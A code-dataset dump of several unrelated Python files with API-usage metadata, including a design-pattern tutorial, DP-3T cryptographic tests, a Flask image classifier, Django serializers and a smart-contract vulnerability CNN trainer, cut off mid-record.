"data_diff.databases.base.import_helper", "line_number": 46, "usage_type": "call"}, {"api_name": "google.oauth2.service_account", "line_number": 56, "usage_type": "name"}, {"api_name": "google.auth.impersonated_credentials", "line_number": 62, "usage_type": "name"}, {"api_name": "data_diff.abcs.mixins.AbstractMixin_MD5", "line_number": 66, "usage_type": "name"}, {"api_name": "data_diff.databases.base.MD5_HEXDIGITS", "line_number": 68, "usage_type": "name"}, {"api_name": "data_diff.databases.base.CHECKSUM_HEXDIGITS", "line_number": 68, "usage_type": "name"}, {"api_name": "data_diff.databases.base.CHECKSUM_OFFSET", "line_number": 68, "usage_type": "name"}, {"api_name": "attrs.define", "line_number": 65, "usage_type": "call"}, {"api_name": "data_diff.abcs.mixins.AbstractMixin_NormalizeValue", "line_number": 72, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.TemporalType", "line_number": 73, "usage_type": "name"}, {"api_name": "data_diff.databases.base.TIMESTAMP_PRECISION_POS", "line_number": 85, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.FractionalType", "line_number": 88, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Boolean", "line_number": 91, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.JSON", "line_number": 94, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Array", "line_number": 101, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Struct", "line_number": 108, "usage_type": "name"}, {"api_name": "attrs.define", "line_number": 71, "usage_type": "call"}, {"api_name": "data_diff.abcs.mixins.AbstractMixin_Schema", "line_number": 117, "usage_type": "name"}, {"api_name": "data_diff.abcs.compiler.Compilable", "line_number": 118, "usage_type": "name"}, {"api_name": "data_diff.queries.api.table", "line_number": 120, "usage_type": "call"}, {"api_name": "data_diff.queries.api.this.table_schema", "line_number": 122, "usage_type": "attribute"}, {"api_name": "data_diff.queries.api.this", "line_number": 122, "usage_type": "name"}, {"api_name": "data_diff.queries.api.this.table_name.like", "line_number": 123, "usage_type": "call"}, {"api_name": "data_diff.queries.api.this.table_name", "line_number": 123, "usage_type": "attribute"}, {"api_name": "data_diff.queries.api.this", "line_number": 123, "usage_type": "name"}, {"api_name": "data_diff.queries.api.SKIP", "line_number": 123, "usage_type": "name"}, {"api_name": "data_diff.queries.api.this.table_type", "line_number": 124, "usage_type": "attribute"}, {"api_name": "data_diff.queries.api.this", "line_number": 124, "usage_type": "name"}, {"api_name": "data_diff.queries.api.this.table_name", "line_number": 126, "usage_type": "attribute"}, {"api_name": "data_diff.queries.api.this", "line_number": 126, "usage_type": "name"}, {"api_name": "attrs.define", "line_number": 116, "usage_type": "call"}, {"api_name": "data_diff.abcs.mixins.AbstractMixin_TimeTravel", "line_number": 131, "usage_type": "name"}, {"api_name": "data_diff.abcs.compiler.Compilable", "line_number": 134, "usage_type": "name"}, {"api_name": "data_diff.abcs.compiler.Compilable", "line_number": 136, "usage_type": "name"}, {"api_name": "data_diff.abcs.compiler.Compilable", "line_number": 137, "usage_type": "name"}, {"api_name": "data_diff.abcs.compiler.Compilable", "line_number": 138, "usage_type": "name"}, {"api_name": "data_diff.queries.api.code", "line_number": 148, "usage_type": "call"}, {"api_name": "data_diff.queries.api.table", "line_number": 148, "usage_type": "name"}, {"api_name": "data_diff.queries.api.code", "line_number": 151, "usage_type": "call"}, {"api_name": "data_diff.queries.api.table", "line_number": 153, "usage_type": "name"}, {"api_name": "data_diff.abcs.compiler.Compilable", "line_number": 139, "usage_type": "name"}, {"api_name": "attrs.define", "line_number": 130, "usage_type": "call"}, {"api_name": "data_diff.databases.base.BaseDialect", "line_number": 160, "usage_type": "name"}, {"api_name": "data_diff.abcs.mixins.AbstractMixin_MD5", "line_number": 160, "usage_type": "name"}, {"api_name": "data_diff.abcs.mixins.AbstractMixin_NormalizeValue", "line_number": 160, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Timestamp", "line_number": 166, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Datetime", "line_number": 167, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Integer", "line_number": 169, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Integer", "line_number": 170, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Decimal", "line_number": 171, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Decimal", "line_number": 172, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Float", "line_number": 173, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Float", "line_number": 174, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Text", "line_number": 175, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Boolean", "line_number": 176, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.JSON", "line_number": 177, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 179, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 180, "usage_type": "call"}, {"api_name": "data_diff.abcs.database_types.DbPath", "line_number": 199, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 202, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 203, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.UnknownColType", "line_number": 206, "usage_type": "argument"}, {"api_name": "data_diff.abcs.database_types.Array", "line_number": 210, "usage_type": "call"}, {"api_name": "data_diff.abcs.database_types.Struct", "line_number": 219, "usage_type": "call"}, {"api_name": "data_diff.abcs.database_types.ColType", "line_number": 204, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.ColType", "line_number": 223, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.JSON", "line_number": 225, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Array", "line_number": 225, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.Struct", "line_number": 225, "usage_type": "name"}, {"api_name": "data_diff.databases.base.parse_table_name", "line_number": 234, "usage_type": "call"}, {"api_name": "data_diff.abcs.database_types.DbPath", "line_number": 233, "usage_type": "name"}, {"api_name": "attrs.define", "line_number": 158, "usage_type": "call"}, {"api_name": "data_diff.databases.base.Database", "line_number": 239, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 246, "usage_type": "name"}, {"api_name": "google.cloud.bigquery", "line_number": 251, "usage_type": "name"}, {"api_name": "google.cloud.bigquery.Client", "line_number": 268, "usage_type": "call"}, {"api_name": "google.cloud.bigquery", "line_number": 268, "usage_type": "name"}, {"api_name": "data_diff.databases.base.ConnectError", "line_number": 288, "usage_type": "call"}, {"api_name": "google.cloud.bigquery.table", "line_number": 290, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery", "line_number": 290, "usage_type": "name"}, {"api_name": "data_diff.databases.base.QueryResult", "line_number": 292, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 294, "usage_type": "name"}, {"api_name": "data_diff.databases.base.ThreadLocalInterpreter", "line_number": 294, "usage_type": "name"}, {"api_name": "data_diff.databases.base.apply_query", "line_number": 295, "usage_type": "call"}, {"api_name": "data_diff.databases.base.QueryResult", "line_number": 294, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.DbPath", "line_number": 301, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.DbPath", "line_number": 309, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 309, "usage_type": "name"}, {"api_name": "data_diff.abcs.database_types.DbPath", "line_number": 312, "usage_type": "name"}, {"api_name": "attrs.define", "line_number": 238, "usage_type": "call"}]} {"seq_id": "75158874171", "text": "from enum import Enum\n\nclass Color(Enum):\n RED = 1\n GREEN = 2\n BLUE = 3\n\nclass Size(Enum):\n SMALL = 1\n MEDIUM = 2\n LARGE = 3\n\nclass Product:\n def __init__(self, name, color, size):\n self.name = name\n self.color = color\n self.size = size\n\n# OCP : open for extension not for modification . it does not scale\nclass ProductFilter:\n def filter_by_color(self, product, color):\n for p in product:\n if p.color == color:\n yield p\n \n def filter_by_size(self, product, size):\n for p in product:\n if p.size == size: yield p\n \n def filter_by_size_and_color(self, product, color, size):\n for p in product:\n if p.size == size and p.color == p.color: yield p\n\n# Specification\n\nclass Specification:\n def is_satisfied(self, item):\n pass\n\n def __and__(self, other):\n return AndSpecification(self, other)\n\nclass Filter:\n def filter(self, items, spec):\n pass\n\nclass ColorSpectification(Specification):\n def __init__(self, color):\n self.color = color\n \n def is_satisfied(self, item):\n return item.color == self.color\n\nclass SizeSpectification(Specification):\n def __init__(self, size):\n self.size = size\n \n def is_satisfied(self, item):\n return item.size == self.size\n\nclass AndSpecification(Specification):\n def __init__(self, *args):\n self.args = args\n \n def is_satisfied(self, item):\n return all(map(\n lambda spec : spec.is_satisfied(item), self.args\n ))\n\nclass BetterFilter(Filter):\n def filter(self, items, spec):\n for item in items:\n if spec.is_satisfied(item):\n yield item\n\nif __name__ == '__main__':\n apple = Product('Apple', Color.GREEN, Size.SMALL)\n tree = Product('Tree', Color.GREEN, Size.LARGE)\n house = Product('House', Color.BLUE, Size.LARGE)\n\n product = [apple, tree, house]\n pf = ProductFilter()\n print (f\"Green Product: Old\")\n for p in pf.filter_by_color(product, Color.GREEN):\n print (f\" - {p.name} is green\")\n\n print (f\"Green Product: New approach\")\n bf = BetterFilter()\n green = ColorSpectification(Color.GREEN)\n for p in bf.filter(product, green):\n print (f\" - {p.name} is green\")\n \n print (f\"Large Product\")\n large = SizeSpectification(Size.LARGE)\n for p in bf.filter(product, large):\n print (f\" - {p.name} is large\")\n \n print (\"Large Blue items\")\n #large_blue = AndSpecification(large, ColorSpectification(Color.BLUE))\n large_blue = large & ColorSpectification(Color.BLUE)\n for p in bf.filter(product, large_blue):\n print (f\" - {p.name} is large and blue\")\n\n\n", "repo_name": "amardipkumar91/PracticePython2", "sub_path": "DesignPatterEx/open_closed_principle.py", "file_name": "open_closed_principle.py", "file_ext": "py", "file_size_in_byte": 2740, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "enum.Enum", "line_number": 3, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 8, "usage_type": "name"}]} {"seq_id": "4788145491", "text": "__copyright__ = \"\"\"\n Copyright 2020 EPFL\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n__license__ = \"Apache 2.0\"\n\nfrom datetime import datetime, timezone\n\nfrom dp3t.protocols.unlinkable import (\n ephid_from_seed,\n epoch_from_time,\n hashed_observation_from_ephid,\n hashed_observation_from_seed,\n)\n\n\nSEED0 = bytes.fromhex(\n \"0000000000000000000000000000000000000000000000000000000000000000\"\n)\nSEED1 = bytes.fromhex(\n \"eaa2054637009757b9988b28998209d253eede69345f835bb91b3b333108d229\"\n)\n\nEPHID0 = bytes.fromhex(\"66687aadf862bd776c8fc18b8e9f8e20\")\nEPHID1 = bytes.fromhex(\"b7b1d06cd81686669aeea51e9f4723b5\")\n\nTIME0 = datetime(2020, 4, 10, hour=7, minute=15, tzinfo=timezone.utc)\nTIME1 = datetime(2020, 4, 15, hour=14, minute=32, tzinfo=timezone.utc)\n\nEPOCH0 = 1762781\nEPOCH1 = 1763290\n\nHASHED_OBSERVATION_EPHID1_TIME0 = bytes.fromhex(\n \"93e8cffb4f828baf9e36b658ab8988b9afd39bec9f95b24930768157148adcc9\"\n)\nHASHED_OBSERVATION_EPHID1_TIME1 = bytes.fromhex(\n \"bc2667e5bc9d3ea33c0193f19884aefcb4879968f65250145c3c9bcb703ccb10\"\n)\n\n##############################\n### TEST UTILITY FUNCTIONS ###\n##############################\n\n\ndef test_epoch_from_time():\n epoch0 = epoch_from_time(TIME0)\n assert epoch0 == EPOCH0\n\n epoch1 = epoch_from_time(TIME1)\n assert epoch1 == EPOCH1\n\n\n##########################################\n### TEST BASIC CRYPTOGRAPHIC FUNCTIONS ###\n##########################################\n\n\ndef test_ephid_from_seed():\n ephid0 = ephid_from_seed(SEED0)\n assert ephid0 == EPHID0\n\n ephid1 = ephid_from_seed(SEED1)\n assert ephid1 == EPHID1\n\n\ndef test_hashed_observation_from_ephid():\n hashed_observation0 = hashed_observation_from_ephid(EPHID1, EPOCH0)\n assert hashed_observation0 == HASHED_OBSERVATION_EPHID1_TIME0\n\n hashed_observation1 = hashed_observation_from_ephid(EPHID1, EPOCH1)\n assert hashed_observation1 == HASHED_OBSERVATION_EPHID1_TIME1\n\n\ndef test_hashed_observation_from_seed():\n hashed_observation0 = hashed_observation_from_seed(SEED1, EPOCH0)\n assert hashed_observation0 == HASHED_OBSERVATION_EPHID1_TIME0\n\n hashed_observation1 = hashed_observation_from_seed(SEED1, EPOCH1)\n assert hashed_observation1 == HASHED_OBSERVATION_EPHID1_TIME1\n", "repo_name": "DP-3T/reference_implementation", "sub_path": "tests/test_unlinkable.py", "file_name": "test_unlinkable.py", "file_ext": "py", "file_size_in_byte": 2746, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 127, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.timezone.utc", "line_number": 38, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.timezone.utc", "line_number": 39, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 39, "usage_type": "name"}, {"api_name": "dp3t.protocols.unlinkable.epoch_from_time", "line_number": 57, "usage_type": "call"}, {"api_name": "dp3t.protocols.unlinkable.epoch_from_time", "line_number": 60, "usage_type": "call"}, {"api_name": "dp3t.protocols.unlinkable.ephid_from_seed", "line_number": 70, "usage_type": "call"}, {"api_name": "dp3t.protocols.unlinkable.ephid_from_seed", "line_number": 73, "usage_type": "call"}, {"api_name": "dp3t.protocols.unlinkable.hashed_observation_from_ephid", "line_number": 78, "usage_type": "call"}, {"api_name": "dp3t.protocols.unlinkable.hashed_observation_from_ephid", "line_number": 81, "usage_type": "call"}, {"api_name": "dp3t.protocols.unlinkable.hashed_observation_from_seed", "line_number": 86, "usage_type": "call"}, {"api_name": "dp3t.protocols.unlinkable.hashed_observation_from_seed", "line_number": 89, "usage_type": "call"}]} {"seq_id": "258484082", "text": "from flask import Flask\nfrom flask import request, redirect, render_template\nfrom fastai.learner import load_learner\nimport pathlib\nfrom fastai.vision.core import PILImage\nimport platform\nimport ensign_multicat as utils\n\napplication = Flask(__name__)\napplication.config['MAX_CONTENT_LENGTH'] = 12 * 1024 * 1024\nMIN_STANDARD = 0.9\n\n# Workaround pytorch issue with models developed on linux being used on Windows\nif platform.system() == 'Windows':\n pathlib.PosixPath = pathlib.WindowsPath\n\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\ndef clean_cats(cat_name):\n return cat_name.replace('_', ' ').title()\n\n\nlearn_inf = load_learner('flag_export.pkl', cpu=True)\n\n\n@application.route(\"/upload-image/\", methods=[\"GET\", \"POST\"])\ndef upload_image():\n if request.method == \"POST\":\n if request.files:\n image = request.files[\"image\"]\n if allowed_file(image.filename):\n preds, bools, probs = learn_inf.predict(PILImage.create(image))\n if len(preds) > 0:\n preds = preds.map(clean_cats)\n\n return render_template(\"public/upload_image.html\",\n messages=f\"The image includes these: {list(preds)} flag\")\n else:\n return render_template(\"public/upload_image.html\", messages=f\"I can't recognise this one.\")\n else:\n return render_template(\"public/upload_image.html\", messages=f\"Sorry, invalid image type: Must be a: {ALLOWED_EXTENSIONS}\")\n\n return render_template(\"public/upload_image.html\", messages=\"\")\n\n\n@application.route('/')\ndef go_to_upload():\n return redirect(\"upload-image/\")\n\n\nif __name__ == '__main__':\n application.run()\n", "repo_name": "phoughton/ensign_multicat", "sub_path": "application.py", "file_name": "application.py", "file_ext": "py", "file_size_in_byte": 1853, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 14, "usage_type": "call"}, {"api_name": "pathlib.PosixPath", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pathlib.WindowsPath", "line_number": 15, "usage_type": "attribute"}, {"api_name": "fastai.learner.load_learner", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 33, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "fastai.vision.core.PILImage.create", "line_number": 37, "usage_type": "call"}, {"api_name": "fastai.vision.core.PILImage", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 53, "usage_type": "call"}]} {"seq_id": "23817340125", "text": "from rest_framework import serializers\n\nfrom appointment_app import models\nfrom user_management.models import User\n\n\nclass AppointmentSerializer(serializers.ModelSerializer):\n class Meta:\n model = models.Appointment\n fields = ('patient','counsellor','date',)\n\n\n\n \nclass AppointmentsRecordSerializer(serializers.Serializer):\n start_date = serializers.DateField(allow_null=False,required=True)\n end_date = serializers.DateField(allow_null=False,required=True)\n \n def create(self, validated_data):\n return validated_data\n \n\n\nclass GetUserSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = ('email','username','user_type',)\n\n\nclass GetAppointmentSerializer(serializers.ModelSerializer):\n patient = GetUserSerializer()\n counsellor = GetUserSerializer()\n class Meta:\n model = models.Appointment\n fields = ('patient','counsellor','date',)", "repo_name": "ahsanirfan444/online_hospital", "sub_path": "appointment_app/serializer.py", "file_name": "serializer.py", "file_ext": "py", "file_size_in_byte": 939, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 7, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 7, "usage_type": "name"}, {"api_name": "appointment_app.models.Appointment", "line_number": 9, "usage_type": "attribute"}, {"api_name": "appointment_app.models", "line_number": 9, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 15, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DateField", "line_number": 16, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 16, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DateField", "line_number": 17, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 24, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 24, "usage_type": "name"}, {"api_name": "user_management.models.User", "line_number": 26, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 30, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 30, "usage_type": "name"}, {"api_name": "appointment_app.models.Appointment", "line_number": 34, "usage_type": "attribute"}, {"api_name": "appointment_app.models", "line_number": 34, "usage_type": "name"}]} {"seq_id": "18213825045", "text": "#!/usr/bin/env python3\n\nimport op_word2vec\nimport trainer\nfrom op_word2vec import op_name\nfrom utils import set_logging\nfrom common import get_vul_op_data, sol_to_data, ALL_VULS\nfrom common import print_prediction\nfrom common import ModelRepo\nfrom common import f1\n\nimport os\nimport sys\nimport logging\nfrom argparse import ArgumentParser\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.externals import joblib\nfrom sklearn.metrics import confusion_matrix\n\nimport keras\nfrom keras import backend as K\nfrom keras import models\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\n\ndef get_home_dir():\n return os.path.dirname(os.path.dirname(os.path.realpath(sys.argv[0])))\n\nOP_CSV = os.path.join(get_home_dir(), 'features/op.csv.xz')\nMAX_OP_LEN = 13480\n\n__model_repo = ModelRepo('.model')\nW2V_BIN = '.model/evm-op.w2v.bin'\nCNN_MOD_NAME = 'w2v-cnn'\n\n\ndef get_input_shape(img_shape):\n if K.image_data_format() == 'channels_first':\n return (1, *img_shape)\n else:\n return (*img_shape, 1)\n\ndef opline_to_vec(line, w2v):\n ops = line.split()\n vec = np.zeros((len(ops), w2v.vectors.shape[1]))\n for i, op in enumerate(ops):\n vec[i] = w2v.get_vector(op_name(op))\n return vec\n\ndef zero_pad_2d(arr, shape):\n result = np.zeros(shape)\n result[:arr.shape[0],:arr.shape[1]] = arr\n return result\n\ndef even(num):\n return int((num + 1) // 2 * 2)\n\ndef shuffle_split(x, y, test_ratio=0.2, random_state=42):\n train_size = int(len(x) * (1 - test_ratio))\n np.random.seed(random_state)\n permu = np.random.permutation(len(x))\n x_train, y_train = x[permu][:train_size], y[permu][:train_size]\n x_test , y_test = x[permu][train_size:], y[permu][train_size:]\n return (x_train, y_train), (x_test, y_test)\n\n# TODO nomalize\ndef prepare_x(data, max_op_len=None):\n op_word2vec.options(force=False, clean=True)\n w2v = op_word2vec.get_model(OP_CSV, W2V_BIN)\n\n op_vecs = [ opline_to_vec(row['Opcodes'], w2v) for idx, row in data.iterrows() ]\n\n if max_op_len is None:\n max_op_len = even(max([ op_vec.shape[0] for op_vec in op_vecs ]))\n w2v_size = w2v.vectors.shape[1]\n\n input_shape = (max_op_len, w2v_size)\n input_shape_ext = get_input_shape(input_shape)\n\n x = np.zeros((len(data), *input_shape_ext))\n for i in range(len(data)):\n x[i] = zero_pad_2d(op_vecs[i], input_shape).reshape(input_shape_ext)\n\n return x\n\ndef prepare_y(data):\n y = data.reset_index(drop=True).iloc[:, :-1].values\n return y\n\ndef gen_model(in_shape, num_classes):\n model = Sequential()\n model.add(Conv2D(256, kernel_size=(3, 3),\n activation='relu',\n padding='same',\n input_shape=in_shape, name='Cov1'))\n model.add(Conv2D(512, (3, 3), padding='same', activation='relu', name='Cov2'))\n model.add(MaxPooling2D(pool_size=(2, 2), data_format='channels_last', name='MaxPool'))\n model.add(Dropout(0.25))\n model.add(Flatten())\n model.add(Dense(1024, activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(num_classes, activation='sigmoid', name='DenseOut'))\n\n '''\n model.compile(loss=keras.losses.categorical_crossentropy,\n optimizer=keras.optimizers.Adadelta(),\n metrics=['accuracy'])\n '''\n model.compile(loss=keras.losses.binary_crossentropy,\n optimizer=keras.optimizers.RMSprop(lr=1e-4),\n metrics=[f1])\n \n return model\n\n# TODO 1. uisng k-fold cross-validation\n# 2. get best model based on the scores from epoch history \ndef train_model(train_test_data, batch_size=128, epochs=50):\n (x_train, y_train), (x_test, y_test) = train_test_data\n\n input_shape = x_train.shape[1:]\n num_classes = y_train.shape[1]\n\n logging.info('train size: %d, test size: %d' % (len(x_train), len(x_test)))\n logging.info('input shape: %s, output num of classes: %d' % (input_shape, num_classes))\n\n K.set_image_dim_ordering('th')\n model = gen_model(input_shape, num_classes)\n model.summary()\n model.fit(x_train, y_train,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n validation_data=(x_test, y_test)) #TODO should not use the test set.\n\n score = model.evaluate(x_test, y_test, verbose=0)\n print('score: %s' % score)\n\n return model\n\ndef train(data, model_name=CNN_MOD_NAME, epochs=100):\n x = prepare_x(data)\n y = prepare_y(data)\n train_test_data = shuffle_split(x, y, 0.2)\n\n model = train_model(train_test_data, epochs=epochs)\n __model_repo.save(model, model_name)\n\n results = train_results(model, train_test_data)\n return results\n\n\ndef train_results(model, train_test_data):\n results = pd.DataFrame({}, columns=[\n 'train_size', 'train_support', 'train_accuracy', 'train_precision', 'train_recall', 'train_f1', 'train_roc',\n 'TrueNeg', 'FalsePos', 'FalseNeg', 'TruePos',\n 'size', 'support', 'accuracy', 'precision', 'recall', 'f1', 'roc',\n 'top_ft_1', 'top_inf_1', 'top_ft_2', 'top_inf_2','top_ft_3', 'top_inf_3'])\n\n (x_train, y_train), (x_test, y_test) = train_test_data\n y_train_pred = model_predict(model, x_train)\n y_test_pred = model_predict(model, x_test)\n\n for i, vul in enumerate(ALL_VULS):\n try:\n train_score_ = trainer.evaluate(y_train[:,i], y_train_pred[:,i])\n test_score_ = trainer.evaluate(y_test[:,i], y_test_pred[:,i])\n confusion_matrix_ = confusion_matrix(y_test[:,i], y_test_pred[:,i])\n influence_ = np.array([['', 0],\n ['', 0],\n ['', 0]])\n result = [ *train_score_,\n *confusion_matrix_.reshape(-1),\n *test_score_,\n *influence_.reshape(6)]\n\n results.loc[vul] = result\n\n except Exception as ex:\n print(vul, '\\terror: %s' % ex)\n\n return results\n\t\n\ndef model_predict(model, x, vuls=None):\n y = (model.predict(x) >= 0.5).astype('int8')\n idxes = [ ALL_VULS.index(vul) for vul in vuls ]\n return y[:, idxes]\n\n\ndef predict(data, vuls):\n logging.debug('preparing data...')\n x = prepare_x(data, MAX_OP_LEN)\n\n logging.debug('loading cnn model...')\n model = __model_repo.load(CNN_MOD_NAME)\n\n logging.debug('predicting data...')\n return model_predict(model, x, vuls)\n\n\ndef init_arguments():\n parser = ArgumentParser(description='smart contract vulnerability analyzer')\n parser.add_argument('subcmd', action='store', help=\"sub-command: < merge | train | predict >\", default='train')\n parser.add_argument(\"-v\", \"--verbose\", action=\"count\", default=0, help=\"increse detail information\")\n parser.add_argument(\"-q\", \"--quiet\", action=\"count\", default=0, help=\"decrese detail information\")\n parser.add_argument(\"-s\", \"--sol\", action=\"store\", default=None, help=\"Solidity file\")\n parser.add_argument(\"-d\", \"--datafile\", action=\"store\", default=None, help=\"Data file to train\")\n parser.add_argument('-u', '--vulfile', action='store', default=None, help=\"vunlerability data\")\n parser.add_argument('-o', '--opfile', action='store', default=None, help=\"feature data\")\n return parser.parse_args()\n\ndef main():\n args = init_arguments()\n set_logging(args.verbose - args.quiet)\n\n def file_exists(path):\n return path and os.path.exists(path)\n\n if args.subcmd == 'train':\n if not file_exists(args.datafile) and not (file_exists(args.vulfile) and file_exists(args.opfile)):\n logging.error(\"Need to specify the data file or vul/op files to read.\")\n logging.error(\" For example: %s train -d %s [ -u %s -o %s ]\" % \n (sys.argv[0], 'data.csv', '../run-anlyzers/vuls.csv.xz', '../features/op-ft.csv.xz'))\n sys.exit(1)\n\n logging.info('training...')\n data = get_vul_op_data(args.vulfile, args.opfile, args.datafile)\n train(data)\n\n elif args.subcmd == 'predict':\n if file_exists(args.sol):\n logging.error(\"No solidty file\")\n sys.exit(1)\n\n logging.info('predicting...')\n vuls = ALL_VULS\n data = sol_to_data(args.sol)\n\n preds = predict(data, vuls)\n print_prediction(vuls, preds)\n\n else:\n logging.error(\"unknown command '%s'\" % args.subcmd)\n sys.exit(1)\n\nif __name__ == '__main__':\n main()\n", "repo_name": "jianwei76/SoliAudit", "sub_path": "va/vul-predict/w2v_cnn.py", "file_name": "w2v_cnn.py", "file_ext": "py", "file_size_in_byte": 8495, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 30, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "common.ModelRepo", "line_number": 35, "usage_type": "call"}, {"api_name": "keras.backend.image_data_format", "line_number": 41, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "op_word2vec.op_name", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 64, "usage_type": "attribute"}, {"api_name": "op_word2vec.options", "line_number": 71, "usage_type": "call"}, {"api_name": "op_word2vec.get_model", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 94, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 95, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 99, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 100, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 101, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 103, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 104, "usage_type": "call"}, {"api_name": "keras.layers.Dense", 